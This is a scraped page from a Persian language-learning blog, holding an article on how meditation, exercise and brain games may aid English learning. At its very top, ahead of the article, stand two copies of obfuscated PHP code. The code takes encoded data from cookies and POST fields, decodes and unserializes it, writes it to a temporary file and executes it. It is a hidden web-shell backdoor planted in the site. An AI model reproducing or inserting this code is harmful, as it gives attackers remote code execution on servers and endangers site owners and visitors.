$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} مدیتیشن میانبری در راه یادگیری زبان انگلیسی | وبلاگ اتیچر

مدیتیشن میانبری در راه یادگیری زبان انگلیسی

زمان مطالعه: ۵ دقیقه

فهرست بخش ها

آیا مدیتیشن تاثیری بر یادگیری زبان انگلیسی ما دارد؟

شکی نیست که یکی از بهترین روش‌ها برای یادگیری زبان انگلیسی ، تمرین و تکرار مداوم است. با تمرین و پشتکار است که می‌توانیم اولین قدم‌‌ها را در دوران کودکی برداریم و علاوه بر این کارهای بسیار دیگری را نیز با موفقیت به سرانجام برسانیم؛خوشبختانه می‌توان برای هموار کردن مسیر یادگیری از روش‌ها دیگری نیز استفاده کرد. به‌ عنوان مثال می‌توان با صرف اوقات فراغت خود و انجام تکنیک‌هایی خاص، روند یادگیری در ذهن را به میزان بسیار زیادی بهبود بخشید. با اتیچر همراه شوید تا نکات بیشتری در این زمینه بیاموزید.

مدیتیشن راه‌ حلی مناسب در یادگیری زبان انگلیسی

در این روزها، مدیتیشن و همچنین ایجاد آرامش ذهنی بسیار مورد توجه است. به همین دلیل، نیاز است تا شما نیز از چنین موقعیتی به نفع خود استفاده کنید و ذهن خود را برای یادگیری بهتر آماده سازید.

شواهد نشان داده در تحقیقات دالایی لاما و گروهی از دانشمندان علوم عصبی، افراد با تجربه در زمینه مدیتیشن می‌توانند ساختار ذهن خود را به انتخاب خود تغییر دهند. گروهی از این افراد از قدرت جادویی خود برای تمرکز بیشتر بر روی احساسات و علایق استفاده می‌کنند و گروهی دیگر از افراد، به شیوه‌های دیگری این قدرت را به کار خواهند گرفت. به ‌عنوان مثال، یکی از استفاده‌‌های این توانایی، هدایت ذهن برای یادگیری موضوعات جدید و است.

با این حال، چنان‌چه حتی نتوانید از این توانایی برای کنترل ذهن خود استفاده کنید، می‌توانید از مدیتیشن برای کاهش استرس و همچنین تمرکز بیشتر بر روی موضوعات مورد نظر خود و هم چنین یادگیری زبان انگلیسی استفاده کنید. به طور یقین، تمرکز یکی از بهترین عناصر برای فراگیری موفقیت آمیز موضوعات مختلف در زندگی است.

یادگیری زبان انگلیسی

ورزش و یادگیری زبان انگلیسی 

هنگامی‌که به دنبال یادگیری زبان انگلیسی هستید، فقط عملکرد مغز مهم نیست، بلکه باید در این زمینه تمامی اعضای بدن خود را نیز در نظر داشته باشید. ارتباط تنگاتنگی بین سلامتی ذهن و جسم وجود دارد. به همین علت جای هیچ گونه تعجبی نیست که ورزش‌های مختلف می‌‌توانند باعث بهبود وضعیت ذهنی شما شوند و در نتیجه افراد با انجام ورزش می‌توانند محتویات جدید را به خوبی پردازش کنند.

در صورتی‌که قصد بهره وری بیشتر از ورزش را دارید، پیشنهاد می‌شود تا تمرینات خود را به طور منظم انجام دهید. در صورتی‌که بتوانید برنامه‌ای منظم حتی به میزان ۱۵ دقیقه در روز داشته باشید، این برنامه در بلند مدت می‌تواند تأثیرات زیادی بر قدرت یادگیری شما داشته باشد. مرکز پیشگیری و کنترل بیماری‌ها در آمریکا پیشنهاد می‌کند که در طول هفته حداقل در حدود ۹۰ دقیقه تمرینات سخت فیزیکی انجام دهید. علاوه بر این، اگر تمرینات آسان و برنامه ریزی شده باشند، این زمان باید به حدود ۱۵۰ دقیقه در هفته افزایش پیدا کند.

دلیل اصلی انجام چنین فرایندی، افزایش سطح نوعی خاص از پروتئین با نام BDNF در بدن است. این ماده نقشی مهم در بهبود عملکرد ذهنی بر عهده دارد. علاوه بر این، BDNF باعث افزایش سلامت سلول‌های مغزی می‌شود و میزان بالای آن با بهبود عملکرد مغز و همچنین یادگیری موضوعات جدید ارتباط مستقیمی دارد.  انجام ورزش به عنوان عاملی مهم در شادابی و نشاط شناخته می‌شوند و چنانچه که بتوانید چنین فعالیت‌هایی را به‌صورت گروهی انجام دهید، این نوع ورزش‌ها می‌توانند مهارت‌های تیمی و همچنین اجتماعی شما را بهبود ببخشند.

انجام مداوم حرکات ورزشی و مدیتیشن فرایند یادگیری زبان انگلیسی را بهبود می بخشند

بهبود عملکرد ذهنی با انجام بازی‌‌های ذهنی

عملکرد ذهن همانند عضلات بدن است. هر چقدر که از مغز خود بیشتر استفاده کنید، می‌توانید ذهن خود را نیز به همان نسبت تقویت نمایید. علاوه بر این، روش‌های دیگری نیز برای بهبود عملکرد ذهنی وجود دارند، که به دسته‌‌ای از آن‌ها در بالا اشاره شد. با این حال، گروهی از فعالیت‌ها می‌توانند تأثیرات بسیار بیشتری بر روی ذهن داشته باشند که از آن میان می‌توان به دسته‌ای از بازی‌های فکری اشاره کرد. این ‌گونه فعالیت‌‌ها می‌توانند توانایی‌‌ها و همچنین قابلیت‌های مورد نظر در شما را افزایش دهند.

یادگیری زبان انگلیسیبعضی از بازی‌های فکری همانند سودوکو، شطرنج و یا سایر فعالیت‌های فکری مانند جدول از روش‌های بسیار مناسب برای بهبود عملکرد ذهن به حساب می‌آیند. از دیگر نمونه‌هایی که قدرت خوبی در این زمینه دارند، می‌توان به بازی‌‌های کامپیوتری اشاره کرد. ثابت شده که بعضی از این‌ گونه بازی‌ها تأثیرات مثبتی بر روی مغز دارند و باعث بهبود عملکرد ذهنی افراد می‌شوند و علاوه بر این، قدرت تصمیم گیری و همچنین تمرکز آن‌ها را به میزان زیادی افزایش می‌دهند.

به گفته محققین، این‌گونه فعالیت‌‌ها سیستم عصبی را به میزان بسیار زیادی تقویت خواهد کرد. در نهایت قابلیت ذهنی افراد مختلف را بهبود خواهند بخشید. علاوه بر این، چنین فعالیت‌‌هایی می‌‌توانند باعث جهت دهی به افکار و همچنین ساخت شبکه‌‌های بهتر عصبی در ذهن شوند. پیشنهاد می‌شود که همواره به یاد داشته باشید تکنیک‌های آموزش ذهنی باید در هماهنگی با توانایی‌های شما برای یادگیری بهتر در نظر گرفته شوند. این‌گونه بازی‌ها باید بتوانند نقش مناسبی برای بهبود عملکرد ذهنی و همچنین توانایی در تفکر استراتژیک و بهبود یادگیری زبان انگلیسی بر عهده داشته باشند.

یادگیری زبان انگلیسی

تاثیر مدیتیشن در فراگیری زبان انگلیسی و زبان‌های دیگر

فرایند یادگیری هم خود نوعی مهارت است که نیازمند توجه ویژه‌ای است، یادگیری زبان یکی از بهترین روش‌ها برای تقویت این مهارت محسوب می‌شود. یادگیری زبان جدید می‌تواند افق‌هایی نو برای موفقیت پدیدار کند، علاوه بر این، تأثیرات مثبت آن بر روی ذهن می‌تواند همانند تمرینات مختلف ورزشی بر روی بدن، تأثیر گذار باشد.

یادگیری زبان‌های جدید می‌تواند باعث جوان ماندن ذهن و جذب اطلاعات جدید  شود. با یادگیری زبان‌های متعدد، می‌‌توانید فعالیت‌های مختلفی را به صورت هم‌زمان انجام دهید، و مهارت‌های خود را در این زمینه تقویت کنید. یادگیری ساختار‌های مختلف زبان جدید، احتمال مبتلا شدن به زوال عقل و همچنین بیماری آلزایمر را  کاهش می‌دهد. یادگیری کلمات جدید موجب افزایش ظرفیت ذهنی می‌‌شود و این کار باعث افزایش قدرت تشخیص و همچنین بهبود مهارت‌های مرتبط با تصمیم گیری خواهد شد. علاوه بر این، احتمال شاغل شدن نیز در این زمینه افزایش پیدا خواهد کرد.

استفاده از نرم افزار‌های آموزش زبان انگلیسی نیز در این مسیر به شما کمک می‌کند. در اتیچر نیز می‌توانید از خدمات آموزش زبان به صورت آنلاین بهره مندشوید. برای رزرو یک جلسه آزمایشی می‌توانید استاد زبان خود را انتخاب و جلسه را رزرو کنید.

همچنین پیشنهاد می شود مقاله زیر را بخوانید:

مزایا و چالش های آموزش آنلاین زبان انگلیسی

نکته پایانی در مورد مدیتیشن

برای فراگیری بهتر، باید از ذهن و همچنین بدن خود مراقبت کنیم. تنها یک روش اثبات شده برای یادگیری وجود دارد و آن فقط تمرین است.

با این حال، با استفاده از روش‌ها و استراتژی‌‌های متنوع، می‌توانید تعداد دفعات تمرین خود را برای یادگیری مسائل جدید کاهش دهید. سعی کنید تا ذهن خود را با استفاده از زبان‌های جدید و یا تمرین‌های ذهنی مختلف پرورش دهید. علاوه بر این، باید تمرینات مشابهی نیز در زمینه تقویت نیروی بدنی خود به کار بگیرید و در نهایت تا می‌توانید سطح استرس موجود در بدن خود را با انجام بعضی از تمرینات همانند مدیتیشن کاهش دهید. با استفاده از چنین فعالیت‌‌هایی می‌توانید قدرت یادگیری خود را نیز به میزان قابل توجهی افزایش دهید.

به این مقاله امتیاز بدهید

امیر عبادی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search